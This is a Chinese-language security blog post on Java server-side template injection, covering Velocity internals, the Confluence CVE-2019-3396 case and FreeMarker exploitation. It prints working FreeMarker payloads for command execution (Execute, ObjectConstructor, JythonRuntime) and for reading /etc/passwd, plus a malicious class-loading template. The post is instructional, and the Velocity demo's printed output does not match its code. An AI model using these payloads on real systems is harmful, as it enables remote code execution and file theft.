#用来标识Velocity的脚本语句,包括#set、#if 、#else、#end、#foreach、#end、#include、#parse、#macro等语句。

变量

$用来标识一个变量,比如模板文件中为Hello $a,可以获取通过上下文传递的$a

声明

set用于声明Velocity脚本变量,变量可以在脚本中声明

#set($a ="velocity")
#set($b=1)
#set($arrayName=["1","2"])

注释

单行注释为##,多行注释为成对出现的#* …………. *#

条件语句

以if/else为例:

#if($foo<10)
<strong>1</strong>
#elseif($foo==10)
<strong>2</strong>
#elseif($bar==6)
<strong>3</strong>
#else
<strong>4</strong>
#end

转义字符

转义字符

如果$a已经被定义,但是又需要原样输出$a,可以试用\转义作为关键的$

基础使用

使用Velocity主要流程为:

  • 初始化Velocity模板引擎,包括模板路径、加载类型等
  • 创建用于存储预传递到模板文件的数据的上下文
  • 选择具体的模板文件,传递数据完成渲染

VelocityTest.java

package Velocity;

import org.apache.velocity.Template;
import org.apache.velocity.VelocityContext;
import org.apache.velocity.app.VelocityEngine;

import java.io.StringWriter;

public class VelocityTest {
public static void main(String[] args) {

VelocityEngine velocityEngine = new VelocityEngine();
velocityEngine.setProperty(VelocityEngine.RESOURCE_LOADER, "file");
velocityEngine.setProperty(VelocityEngine.FILE_RESOURCE_LOADER_PATH, "src/main/resources");
velocityEngine.init();


VelocityContext context = new VelocityContext();
context.put("name", "Rai4over");
context.put("project", "Velocity");


Template template = velocityEngine.getTemplate("test.vm");
StringWriter sw = new StringWriter();
template.merge(context, sw);
System.out.println("final output:" + sw);
}
}

模版文件:src/main/resources/test.vm

Hello World! The first velocity demo.
Name is $name.
Project is $project

输出结果:

final output:
Hello World! The first velocity demo.
Name is Victor Zhang.
Project is Velocity
java.lang.UNIXProcess@12f40c25

通过 VelocityEngine 创建模板引擎,接着 velocityEngine.setProperty 设置模板路径 src/main/resources、加载器类型为file,最后通过 velocityEngine.init() 完成引擎初始化。

通过 VelocityContext() 创建上下文变量,通过put添加模板中使用的变量到上下文。

通过 getTemplate 选择路径中具体的模板文件test.vm,创建 StringWriter 对象存储渲染结果,然后将上下文变量传入 template.merge 进行渲染。

我们这里使用Java-sec-code里面的SSTI代码(关于Java-sec-code相关部分在之前的文章已经写过):

@GetMapping("/velocity")
public void velocity(String template) {
Velocity.init();

VelocityContext context = new VelocityContext();

context.put("author", "Elliot A.");
context.put("address", "217 E Broadway");
context.put("phone", "555-1337");

StringWriter swOut = new StringWriter();
Velocity.evaluate(context, swOut, "test", template);
}

我们在最初的Controller层下断点,来追踪poc的解析过程

image-20220210111913083

(template -> instring)进入 Velocity.evaluate 方法:

public static boolean evaluate(Context context, Writer out, String logTag, String instring) throws ParseErrorException, MethodInvocationException, ResourceNotFoundException {
return RuntimeSingleton.getRuntimeServices().evaluate(context, out, logTag, instring);
}

image-20220210113238084

继续跟进查看,这个就是Java最常见的get方法(初始化)。也是Java的特性之一封装性。

image-20220210115314686

RuntimeInstance类中封装了evaluate方法,instring被强制转化(Reader)类型。

image-20220210115616974

进入StringReader查看在进入evaluate查看方法具体实现过程

public boolean evaluate(Context context, Writer writer, String logTag, Reader reader) {
if (logTag == null) {
throw new NullPointerException("logTag (i.e. template name) cannot be null, you must provide an identifier for the content being evaluated");
} else {

SimpleNode nodeTree = null;

try {
// 来到这里进行解析
nodeTree = this.parse(reader, logTag);
} catch (ParseException var7) {
throw new ParseErrorException(var7, (String)null);
} catch (TemplateInitException var8) {
throw new ParseErrorException(var8, (String)null);
}
// 判断,然后进入this.render方法
return nodeTree == null ? false : this.render(context, writer, logTag, nodeTree);
}
}

继续跟进render方法

image-20220210121343406

render方法里面还有一个render方法,不过这个是simpleNodel类的render方法。

image-20220210121433075

由于前面两个没有什么用,让我们直接跳到for循环的第三个看,进入render方法。

image-20220210121748125

在这里我们发现有一个execute方法,这就是罪魁祸首。

image-20220210122230972

  • 让我们进行跟进方法,由于是重构的execute方法,还是得看清楚点原理。
for(int i = 0; i < this.numChildren; ++i) {
if (this.strictRef && result == null) {
methodName = this.jjtGetChild(i).getFirstToken().image;
throw new VelocityException("Attempted to access '" + methodName + "' on a null value at " + Log.formatFileString(this.uberInfo.getTemplateName(), this.jjtGetChild(i).getLine(), this.jjtGetChild(i).getColumn()));
}

previousResult = result;
result = this.jjtGetChild(i).execute(result, context);
if (result == null && !this.strictRef) {
failedChild = i;
break;
}
}
  • 上面的for循环我就不说了它的作用了,我们焦点放在previousResult (之前的结果)和result上面。
  • previousResult = result;首先这行代码使其它们保持一致
  • 当遍历的节点时候,这时候就会一步步的保存我们的payload最终导致RCE

image-20220210122522307

完整的调用链如下:

image-20220210122717456

Confluence未授权RCE分析

(CVE-2019-3396)

根据官方文档的描述,可以看到这是由 widget Connector 这个插件造成的SSTI,利用SSTI而造成的RCE。在经过diff后,可以确定触发漏洞的关键点在于对post包中的_template字段

具体漏洞代码调试可以参考:《Confluence未授权模板注入/代码执行(CVE-2019-3396)

             《[Confluence 未授权RCE分析(CVE-2019-3396)](https://lucifaer.com/2019/04/16/Confluence 未授权RCE分析(CVE-2019-3396)/#0x01-漏洞概述)》

FreeMarker

FreeMarker 是一款模板引擎:即一种基于模板和要改变的数据, 并用来生成输出文本(HTML网页,电子邮件,配置文件,源代码等)的通用工具。 它不是面向最终用户的,而是一个Java类库,是一款程序员可以嵌入他们所开发产品的组件。

image-20220210152321533

FreeMarker模板代码

<html>
<head>
<title>Welcome!</title>
</head>
<body> <#–这是注释–>
<h1>Welcome ${user}!</h1>
<p>Our latest product:
<a href="${latestProduct.url}">${latestProduct.name}</a>!
</body>
</html>

模板文件存放在Web服务器上,就像通常存放静态HTML页面那样。当有人来访问这个页面, FreeMarker将会介入执行,然后动态转换模板,用最新的数据内容替换模板中 ${…} 的部分, 之后将结果发送到访问者的Web浏览器中。

这个模板主要用于 java ,用户可以通过实现 TemplateModel 来用 new 创建任意 Java 对象

具体的高级内置函数定义参考《Seldom used and expert built-ins

image-20220210152835575

主要用法如下

<# - 创建一个用户定义的指令,调用类的参数构造函数 - >
<#assign word_wrapp ="com.acmee.freemarker.WordWrapperDirective"?new()>
<# - 创建一个用户定义的指令,用一个数字参数调用构造函数 - >
<#assign word_wrapp_narrow ="com.acmee.freemarker.WordWrapperDirective"?new(40)>

调用了构造函数创建了一个对象,那么这个 payload 中就是调用的 freemarker 的内置执行命令的对象 Execute

freemarker.template.utility 里面有个Execute类,这个类会执行它的参数,因此我们可以利用new函数新建一个Execute类,传输我们要执行的命令作为参数,从而构造远程命令执行漏洞。构造payload:

<#assign value="freemarker.template.utility.Execute"?new()>${value("calc.exe")}

freemarker.template.utility 里面有个ObjectConstructor类,如下图所示,这个类会把它的参数作为名称,构造了一个实例化对象。因此我们可以构造一个可执行命令的对象,从而构造远程命令执行漏洞。

<#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","calc.exe").start()

freemarker.template.utility 里面的JythonRuntime,可以通过自定义标签的方式,执行Python命令,从而构造远程命令执行漏洞。

<#assign value="freemarker.template.utility.JythonRuntime"?new()><@value>import os;os.system("calc.exe")</@value>

这里使用测试代码来大概演示一下:https://github.com/hellokoding/springboot-freemarker

前端代码  ——>  hello.ftl

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Hello ${name}!</title>
<link href="/css/main.css" rel="stylesheet">
</head>
<body>
<h2 class="hello-title">Hello ${name}!</h2>
<script src="/js/main.js"></script>
</body>
</html>

后端代码  ——>  HelloController.java

package com.hellokoding.springboot;

import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestParam;

@Controller
public class HelloController {
@GetMapping("/")
public String index() {
return "index";
}

@GetMapping("/hello")
public String hello(Model model, @RequestParam(value="name", required=false, defaultValue="World") String name) {
model.addAttribute("name", name);
return "hello";
}
}

上述代码主要编译给定的模版字符串和数据,生成HTML进行输出

image-20220210155732477

模板注入的前提是在无过滤的情况下,使用模板来解析我们输入的字符,可以通过页面上的变化,来判断我们输入的内容是否被解析,如上图我们输入的内容被成功解析到页面上,并且没有过滤。

image-20220210155853956

模版注入利用

new函数的利用

利用方法一:

freemarker.template.utility 里有个 Execute 类,通过观察源代码里的第 30 行可以看到这个类会调用 Runtime.getRuntime().exec 函数执行它的 aExecute 变量参数值,因此这里可以使用 new 函数传输想要执行的命令作为 aExecute 参数值,从而执行命令。

freemarker.template.utility.Execute 部分文件代码如下:

22 public Object exec(List arguments) throws TemplateModelException {
23 StringBuilder aOutputBuffer = new StringBuilder();
24 if (arguments.size() < 1) {
25 throw new TemplateModelException("Need an argument to execute");
26 } else {
27 String aExecute = (String)((String)arguments.get(0));
28
29 try {
30 Process exec = Runtime.getRuntime().exec(aExecute);
31 InputStream execOut = exec.getInputStream();
32 Throwable var6 = null;

构造padyload如下:

<#assign value="freemarker.template.utility.Execute"?new()>${value("open -a Calculator")}

image-20220210171412511

利用方法二:

freemarker.template.utility 里有个 ObjectConstructor 类,通过观察源代码里的第 25 行可以看到这个类会把它的参数作为名称构造一个实例化对象。

因此也可以利用这一点构造一个可执行命令的对象,从而 RCE

freemarker.template.utility.ObjectConstructor 部分文件代码如下:

17 public class ObjectConstructor implements TemplateMethodModelEx {
18 public ObjectConstructor() {
19 }
20
21 public Object exec(List args) throws TemplateModelException {
22 if (args.isEmpty()) {
23 throw new TemplateModelException("This method must have at least one argument, the name of the class to instantiate.");
24 } else {
25 String classname = args.get(0).toString();
26 Class cl = null;
27
28 try {
29 cl = ClassUtil.forName(classname);
30 } catch (Exception var6) {
31 throw new TemplateModelException(var6.getMessage());
32 }

构造Payload如下:

<#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","open","-a","Calculator").start()}

image-20220210171630301

利用方法三:

freemarker.template.utility 里有个 JythonRuntime 类,这里可以通过自定义标签的方式执行 Python 命令,从而构造远程命令执行。

freemarker.template.utility.JythonRuntime 部分文件代码如下:

public class JythonRuntime extends PythonInterpreter
implements TemplateTransformModel {
@Override
public Writer getWriter(final Writer out,
final Map args) {
final StringBuilder buf = new StringBuilder();
final Environment env = Environment.getCurrentEnvironment();
return new Writer() {
@Override
public void write(char cbuf[], int off, int len) {
buf.append(cbuf, off, len);
}

@Override
public void flush() throws IOException {
interpretBuffer();
out.flush();
}

@Override
public void close() {
interpretBuffer();
}

private void interpretBuffer() {
synchronized (JythonRuntime.this) {
PyObject prevOut = systemState.stdout;
try {
setOut(out);
set("env", env);
exec(buf.toString());
buf.setLength(0);
} finally {
setOut(prevOut);
}
}
}
};
}
}

构造payload如下:

<#assign value="freemarker.template.utility.JythonRuntime"?new()><@value>import os;os.system("open -a Calculator")</@value>

image-20220210171935973

API函数的利用

除了 new 函数,还可以利用 api 函数调用 Java API,然后通过 getClassLoader 获取类加载器从而加载恶意类,或者也可以通过 getResource 来实现任意文件读取。

加载恶意类的 Payload 如下:

<#assign classLoader=object?api.class.getClassLoader()>${classLoader.loadClass("Evil.class")}

任意文件读取的 Payload 如下:

<#assign uri=object?api.class.getResource("/").toURI()>
<#assign input=uri?api.create("file:///etc/passwd").toURL().openConnection()>
<#assign is=input?api.getInputStream()>
FILE:[<#list 0..999999999 as _>
<#assign byte=is.read()>
<#if byte == -1>
<#break>
</#if>
${byte}, </#list>]

不过 api 内建函数并不能随便使用,必须在配置项 apiBuiltinEnabled 为 true 时才有效,而该配置在 2.3.22 版本之后默认为 false

同时 FreeMarker 为了防御通过其他方式调用恶意方法,FreeMarker 内置了一份危险方法名单 unsafeMethods.properties,例如 getClassLoader、newInstance 等危险方法都被禁用了。

参考链接

https://www.cnblogs.com/bmjoker/p/13508538.html

https://www.jianshu.com/p/9b39d39d4f42

Author

ol4three

Posted on

2022-01-12

Updated on

2022-02-22

Licensed under


Comments